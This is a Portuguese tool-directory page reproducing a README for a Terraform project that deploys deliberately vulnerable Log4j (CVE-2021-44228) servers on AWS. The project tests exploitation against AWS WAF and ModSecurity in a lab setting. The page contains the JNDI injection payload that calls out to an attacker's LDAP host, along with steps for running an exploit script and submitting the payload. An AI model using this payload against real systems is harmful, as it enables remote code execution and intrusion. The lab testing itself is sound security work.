Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
tf-log4j-aws-poc — Os arquivos deste projeto demonstram uma prova de conceito da vulnerabilidade log4j (CVE-2021-44228) na AWS usando meios de Infrastructure-as-a-code com Terraform. | Kitploit
Ferramentas/GitHubGitHub/moshuum/tf-log4j-aws-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoSegurança na Nuvem
GitHubmoshuum/tf-log4j-aws-poc

tf-log4j-aws-poc

Os arquivos deste projeto demonstram uma prova de conceito da vulnerabilidade log4j (CVE-2021-44228) na AWS usando meios de Infrastructure-as-a-code com Terraform.

Ver Repositório
1há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Readme

Descrição do Projeto

Os arquivos deste projeto demonstram uma prova de conceito da vulnerabilidade do Log4j (CVE-2021-44228) na AWS usando Terraform como Infraestrutura como Código.

Há 2 demos neste projeto:

  1. single-instance contém um servidor vulnerável; você pode usar seu computador pessoal para explorar o servidor, e o servidor deve ser protegido com AWS WAF.
  2. double-instance contém 2 serviços; o servidor vulnerável só pode ser acessado a partir do servidor proxy reverso, e o proxy reverso deve ser protegido por ModSecurity.

Conclusão: O 1º demo demonstra uma exploração bem-sucedida usando AWS WAF. O 2º demo foi uma tentativa malsucedida com o ModSecurity em vigor. Removendo o ModSecurity, a exploração é bem-sucedida. Isso pode ser porque o ModSecurity é um projeto ativo; portanto, as strings vulneráveis foram identificadas e filtradas.

Créditos

Esta PoC veio de: https://github.com/kozmer/log4j-shell-poc

Este blog Medium explica como foi o passo a passo da tentativa dela: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873

Meus testes

Pessoalmente, testei usando Windows + Powershell; a máquina na nuvem é Ubuntu 18 LTS. (Exploração com Kali ou qualquer Linux)

Pré-requisitos

  1. AWS_CLI instalado
  2. Terraform CLI instalado
  3. Ter uma chave de acesso pronta

Chave RSA

Crie pela web (nomeie como 'tf-aws'): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs

Obter chave de acesso

https://us-east-1.console.aws.amazon.com/iamv2/home#/users > Selecione o usuário > Selecione a seção security_credentials

Definir chave de acesso no shell

Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"

Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"

Uso

Configurar EC2 na plataforma AWS

cd single-instance
terraform init
terraform apply

Depois de executar, um IP / DNS será listado.

Para single-instance, garanta que http:<aws host url>:8080 esteja acessível

Para double-instance, garanta que http:<aws host url> esteja acessível

* observe que subir o 'double-instance' leva muito mais tempo; você pode usar journalctl -f após acessar via ssh ao sistema para acompanhar o progresso

Se você acompanhar o journal, a mensagem "Reached target Cloud-init target." significa que está pronto.
exploit

Preparar cliente remoto / localhost (atacante):

Defina a permissão de execução chmod +x ../exploit-script-remote.sh

Execute o script com a variável fornecida
../exploit-script-remote.sh

Observe que o payload é exibido no final do script, algo como ${jndi:ldap://<ip-address>:1389/a}

Servidor vulnerável:

Acesse http:<aws host url>:8080

Copie o payload para o campo 'username' e envie o formulário

exploit

Observação

Arquivo do JDK: foi garantida a integridade da fonte Baidu, com o mesmo hash da Oracle
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974

Referências

Instância: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance

Instância spot: https://www.tderflinger.com/en/ec2-spot-with-terraform

SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html

[chave ssh em tempo real] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform

WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/

Templates: https://spacelift.io/blog/terraform-templates

ID da AZ da AWS: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-availability-zones

Lições aprendidas

  • (muito tempo gasto) não use provision como script bash / use template em vez disso (poderia ver melhor se seria possível rebaixar privilégios)
  • A chave RSA gerada pela web é mais confiável do que a gerada manualmente via aws-cli se você usar .pem (a compatibilidade do arquivo .pem com o cliente SSH ou servidor AWS); caso contrário, use chave RSA normal sem pem.
  • consegui usar spot instance em vez da normal para economizar custos
  • Expor porta no Docker pode sobrescrever regras de firewall
  • (muito tempo gasto) Configurar e solucionar problemas de rede leva muito tempo - Route e VPC precisam de 1 security group e o host EC2 precisa de outro security group - e ambos os security groups precisam apontar para a VPC
  • wget não suporta sessões de download longas

# Registro de tempo

  • Início: 06 Jun 11AM UTC+0800 - 07 Jun 4AM (Concluído poc+tf+aws -waf) - 17 horas
  • Início: 07 Jun 1PM UTC+0800 - 08 Jun 5AM (Concluído o 2º caso, em que um proxy reverso é usado)
Baixar ferramenta